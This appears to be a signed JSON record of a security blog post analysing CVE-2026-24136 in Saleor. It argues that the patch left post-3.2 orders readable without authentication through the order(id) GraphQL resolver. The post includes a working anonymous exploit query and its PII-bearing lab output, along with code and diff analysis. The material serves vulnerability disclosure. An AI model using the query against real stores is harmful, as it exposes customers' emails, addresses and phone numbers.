-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The PoC reads orders the advisory says are unaffected.\n\n[BlankBire/CVE-2026-24136-Lab](https://github.com/BlankBire/CVE-2026-24136-Lab) is a docker-compose lab. It stands up `saleor/saleor:3.20` against PostgreSQL and Redis, runs `populatedb` to install the demo channel, and then runs a seed script against the admin GraphQL endpoint to create three customer accounts and six orders with billing and shipping addresses on each. Every order is created by `draftOrderCreate` on a Saleor 3.20.x release. Every order has `use_old_id=False`, because that field's default in `saleor/order/models.py` line 112 is `False` and the seed runs after the schema is migrated.\n\nThe exploit query is one anonymous POST:\n\n```http\nPOST /graphql/ HTTP/1.1\nHost: localhost:8000\nContent-Type: application/json\n\n{\"query\":\"query { order(id: \\\"T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0\\\") { number userEmail billingAddress { firstName lastName streetAddress1 city phone } shippingAddress { firstName lastName phone } } }\"}\n```\n\nNo `Authorization` header. The `id` value is the URL-safe base64 of `Order:460d1e27-2b0b-4897-84c9-64b524b08d64`, the global object identifier the seed script printed to `order_ids.json` when it called `draftOrderCreate`. The response from the lab's Saleor 3.20 build:\n\n```json\n{\"data\":{\"order\":{\n \"number\":\"41\",\n \"userEmail\":\"victim1@lab.local\",\n \"billingAddress\":{\n \"firstName\":\"Nguyen\",\"lastName\":\"Van A\",\n \"streetAddress1\":\"123 Le Loi Street\",\n \"city\":\"Ho Chi Minh City\",\n \"phone\":\"+84901234567\"\n },\n \"shippingAddress\":{\"firstName\":\"Nguyen\",\"lastName\":\"Van A\",\"phone\":\"+84901234567\"}\n}}}\n```\n\nThe advisory describes this exact bug. Unauthenticated caller. PII returned in plain text. CWE-639. The advisory's scope sentence says the affected orders are pre-3.2 orders. The order the PoC just read was created against Saleor 3.20.x on a fresh database. There are no pre-3.2 orders in the lab. The PoC works anyway.\n\n## The bypass is `use_old_id is False`.\n\nThe Saleor schema-level entry point is `OrderQueries.resolve_order` in `saleor/graphql/order/schema.py`. It accepts either `id` or `external_reference`. The permission gate runs in one of those two branches:\n\n```python\n@staticmethod\ndef resolve_order(_root, info: ResolveInfo, *, external_reference=None, id=None):\n validate_one_of_args_is_in_query(\n \"id\", id, \"external_reference\", external_reference\n )\n database_connection_name = get_database_connection_name(info.context)\n if not id:\n requester = get_user_or_app_from_context(info.context)\n permissions = [OrderPermissions.MANAGE_ORDERS]\n if not has_one_of_permissions(requester, permissions):\n raise PermissionDenied(permissions=permissions)\n try:\n id = ext_ref_to_global_id_or_error(\n models.Order, external_reference, database_connection_name\n )\n except ValidationError:\n return None\n _, id = from_global_id_or_error(id, Order)\n wrapped_order = resolve_order(info, id)\n ...\n```\n\nThe `if not id:` branch requires `MANAGE_ORDERS`. When the caller passes `id` directly, the branch does not run and the function falls through to `resolve_order(info, id)` in `resolvers.py`, which loads the row from the database and returns it. No caller credential is consulted at the schema-level resolver on the id path.\n\nThe per-field obfuscation lives on the `Order` GraphQL type. Four resolvers carry the same shape. `resolve_billing_address`:\n\n```python\ndef _resolve_billing_address(data):\n if isinstance(data, Address):\n user = None\n address = data\n else:\n user, address = data\n\n requester = get_user_or_app_from_context(info.context)\n\n if order.use_old_id is False:\n return address\n if user and is_owner_or_has_one_of_perms(\n requester, user, OrderPermissions.MANAGE_ORDERS\n ):\n return address\n\n return obfuscate_address(address)\n```\n\n`resolve_shipping_address` is structurally identical. `resolve_user_email`:\n\n```python\ndef _resolve_user_email(user):\n requester = get_user_or_app_from_context(info.context)\n email_to_return = None\n if order.user_email:\n email_to_return = order.user_email\n elif user:\n email_to_return = user.email\n\n if order.use_old_id is False:\n return email_to_return\n if user and is_owner_or_has_one_of_perms(\n requester, user, OrderPermissions.MANAGE_ORDERS\n ):\n return email_to_return\n\n return obfuscate_email(email_to_return)\n```\n\n`resolve_invoices` follows the same shape on a different return type. Four resolvers, one rule. The rule is `if order.use_old_id is False: return `. The auth check sits on the next line and only runs when the short-circuit does not.\n\n`use_old_id` is a boolean column on the `Order` model declared in `saleor/order/models.py`:\n\n```python\nuse_old_id = models.BooleanField(default=False)\n```\n\nThe default is `False`. Migration 0127, dated 2022-02-18, added the field. Migration 0128, dated 2022-03-29, ran one statement:\n\n```python\ndef set_order_number(apps, schema_editor):\n Order = apps.get_model(\"order\", \"Order\")\n Order.objects.all().update(number=F(\"id\"), use_old_id=True)\n```\n\nEvery order existing at the time of the 3.2 upgrade was backfilled with `use_old_id=True`. Every order created from that point forward defaults to `use_old_id=False`. The field is the system's record of which era an order belongs to. The bypass branch fires on the post-3.2 era.\n\nThe advisory's claim that \"Orders from 3.2.0 onward remain unaffected\" is the inversion of what the field encodes. `use_old_id is False` is 3.2 and later. The bypass that returns raw PII to an anonymous caller fires precisely on the population the advisory says is safe.\n\n## PR #9728 named the design out loud.\n\n`git log -S \"use_old_id is False\" saleor/graphql/order/types.py` returns one introducing commit: 71c19c951bcfba66fa9a9ee5809a46ad3af8f11f, dated 2022-05-11, authored by Iga Karbowiak. The commit title is the PR title:\n\n```\nAllow fetching by id all order data for new orders (#9728)\n```\n\nThe change to `_resolve_billing_address`, verbatim:\n\n```diff\n requester = get_user_or_app_from_context(info.context)\n- if is_owner_or_has_one_of_perms(\n+ if root.use_old_id is False or is_owner_or_has_one_of_perms(\n requester, user, OrderPermissions.MANAGE_ORDERS\n ):\n return address\n```\n\nThe pre-2022 code was a single permission check. The PR added an OR-clause in front of the check. The OR-clause short-circuits when the order is new. The same OR-clause was added to `_resolve_shipping_address`, `_resolve_user_email`, and `resolve_invoices` in the same commit. Four resolvers, one diff, one rationale.\n\nThe same PR rewrote the field descriptions in the GraphQL schema:\n\n```diff\n billing_address = graphene.Field(\n \"saleor.graphql.account.types.Address\",\n description=(\n- \"Billing address. Requires one of the following permissions to view the \"\n- f\"full data: {OrderPermissions.MANAGE_ORDERS.name}, \"\n+ \"Billing address. The full data can be access for orders created \"\n+ \"in Saleor 3.2 and later, for other orders requires one of the following \"\n+ f\"permissions: {OrderPermissions.MANAGE_ORDERS.name}, \"\n f\"{AuthorizationFilters.OWNER.name}.\"\n ),\n )\n```\n\nThe old description said the field required `MANAGE_ORDERS` or `OWNER`. The new description said the field can be accessed without permissions for orders created in Saleor 3.2 and later. The PR shipped the documentation and the bypass in the same commit. The design is that the UUID functions as the credential: a caller who knows the UUID has demonstrated, by knowing it, that they belong to the population entitled to read the row.\n\nThat bargain is the [existence-is-authorization](/patterns/existence-is-authorization) pattern, and we have written it before at the WordPress role layer in [Divi Form Builder's role check](/posts/divi-form-builder-cve-2026-5118-administrator-existed). Divi's per-call credential was a role name; Saleor's is a UUID. The credential's entropy is different. The shape of the check is the same: the caller's possession of an identifier is treated as the authorization decision.\n\nUUIDs are 122 bits of entropy. They are not enumerable by brute force. They are enumerable by every channel the UUID travels: the order-confirmation email Saleor sends to the customer, the order tracking URL the storefront emits, server access logs that include the URL path, plugin webhooks that forward the order ID, customer-service screenshots, browser history. Every channel that touches the order URL is a channel that hands the credential to anyone with access to the channel. The PR shipped a design that treats the UUID as a bearer token and ships the bearer token through every customer-facing surface that names an order.\n\n## The patch closed the branch where None equalled None.\n\nThe patch is commit 718ce1b4fc3aef68eeac1aea0cf1d70a614ba6af, merged 2026-01-23 as PR #18714, authored by Maciej Korycinski. The commit message: \"Fix incorrect usage of use-old-id\". The patch modifies one file, `saleor/graphql/order/types.py`. The diff for `_resolve_billing_address`:\n\n```diff\n requester = get_user_or_app_from_context(info.context)\n- if order.use_old_id is False or is_owner_or_has_one_of_perms(\n+\n+ if order.use_old_id is False:\n+ return address\n+ if user and is_owner_or_has_one_of_perms(\n requester, user, OrderPermissions.MANAGE_ORDERS\n ):\n return address\n+\n return obfuscate_address(address)\n```\n\nThe patch splits the OR-clause into two `if` statements and adds a new precondition: `if user and ...`. The change that matters is `if user and`. The `use_old_id is False` short-circuit is preserved verbatim and now lives on the line immediately above. The four resolvers receive the same edit.\n\nThe semantic shift is one branch. `is_owner_or_has_one_of_perms` is defined in `saleor/graphql/account/utils.py`:\n\n```python\ndef is_owner_or_has_one_of_perms(\n requestor: Union[\"User\", \"App\", None], owner: Union[\"User\", \"App\"] | None, *perms\n) -> bool:\n return requestor == owner or has_one_of_permissions(requestor, perms)\n```\n\nThe function compares `requestor` and `owner` for equality. An anonymous caller's `requestor` is `None`. A guest-checkout order has no associated user, so `owner` is `None`. Python's `None == None` is `True`. For old orders with no user attached, the pre-patch check returned `True` to an anonymous caller. The pre-patch behavior on old guest orders was the same as on new orders: raw PII returned. The new `if user and ...` clause skips the auth path entirely when `user` is falsy and falls through to `obfuscate_address`. The corner case closes.\n\nThe patch's scope is therefore the population of orders where:\n\n1. `use_old_id is True` (created before Saleor 3.2),\n2. `user_id is None` (placed without a customer account),\n3. The PII fields (billing address, shipping address, email, invoices) are still in the database.\n\nThat population is pre-2022 guest-checkout orders on Saleor stores that have been continuously upgraded across the 3.2 boundary. It is finite, it stops growing in 2022, and it is the population the GHSA advisory describes when it says \"orders created before version 3.2.0 could be exposed.\"\n\nThe patch does nothing to the new-order branch. The `use_old_id is False: return ` short-circuit is preserved at the top of each resolver. The post-patch behavior on every Saleor 3.2+ order is identical to the pre-patch behavior: the caller's possession of the UUID is the entire authorization.\n\n## The schema description tells you what the patch did not change.\n\nThe schema field descriptions added in PR #9728 are still on `Order` today, post-patch. `grep -A3 \"Saleor 3.2 and later\" saleor/graphql/order/types.py` returns:\n\n```\n\"Billing address. The full data can be access for orders created \"\n\"in Saleor 3.2 and later, for other orders requires one of the following \"\n\"permissions: MANAGE_ORDERS, OWNER.\"\n---\n\"Shipping address. The full data can be access for orders created \"\n\"in Saleor 3.2 and later, for other orders requires one of the following \"\n\"permissions: MANAGE_ORDERS, OWNER.\"\n---\n\"Email address of the customer. The full data can be access for orders \"\n\"created in Saleor 3.2 and later, for other orders requires one of \"\n\"the following permissions: MANAGE_ORDERS, OWNER.\"\n```\n\nThese strings are introspectable from the public GraphQL schema. Every Saleor storefront's `/graphql/` endpoint returns them, today, to anyone who runs `__type(name: \"Order\") { fields { name description } }`. The schema's own documentation tells the caller, in English, that PII on Saleor 3.2+ orders is fetchable without a permission. The CVE patch did not edit any of these descriptions.\n\nThe PR that introduced the bypass and the PR that patched the CVE are the only two commits that have touched these resolvers' permission logic since 2022. The first PR shipped a bypass and shipped the documentation that names the bypass as a feature. The second PR closed the corner of the bypass where two `None` values compared equal. The documentation between them did not move.\n\nThe CVE record's affected-products field reads \"orders created before version 3.2.0.\" The patched code's runtime behavior matches that record exactly. The bug class the PoC demonstrates against 3.2+ orders is a different bug class than the one the CVE names. It is the one the schema description names.\n\nPoC: [BlankBire/CVE-2026-24136-Lab](https://github.com/BlankBire/CVE-2026-24136-Lab)","closing_line":"The CVE patched the branch where the auth check returned true because None equalled None. The branch where the auth check never runs is documented in the GraphQL schema as a feature.","hook_md":"GHSA-r6fj-f4r9-36gr was published on 2026-01-23. The advisory text reads: \"Personally identifiable information from orders created before version 3.2.0 could be exposed, including email addresses, addresses, phone numbers.\" The next sentence reads: \"Orders from 3.2.0 onward remain unaffected.\" The PoC published against CVE-2026-24136 stands up Saleor 3.20, creates fresh orders against it through `draftOrderCreate`, and reads the customer email, billing address, shipping address, and phone number out of every order through anonymous GraphQL queries against `order(id: ...)`. The orders the PoC reads are 3.2+ orders. The advisory says they remain unaffected. The PoC reads them.","post_id":619,"slug":"saleor-cve-2026-24136-use-old-id-is-false-was-the-feature","title":"CVE-2026-24136: Saleor's Patch Kept `use_old_id is False` Wide Open. The Schema Description Calls It A Feature.","type":"initial","unreadable_sentence":"The CVE patched the branch where the auth check returned true because None equalled None. The branch where the auth check never runs is documented in the GraphQL schema as a feature."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCatT/7wAKCRDeZjl4jgkQ JriIAQDdBDa5VWtWOVy3hH4QIpgkzh0GwxvRmehBzYBLue6qjgEA/MIowpisX+ER VXZtMj40cVL6Wdt4+ETf3A10KFFQlA4= =bBqF -----END PGP SIGNATURE-----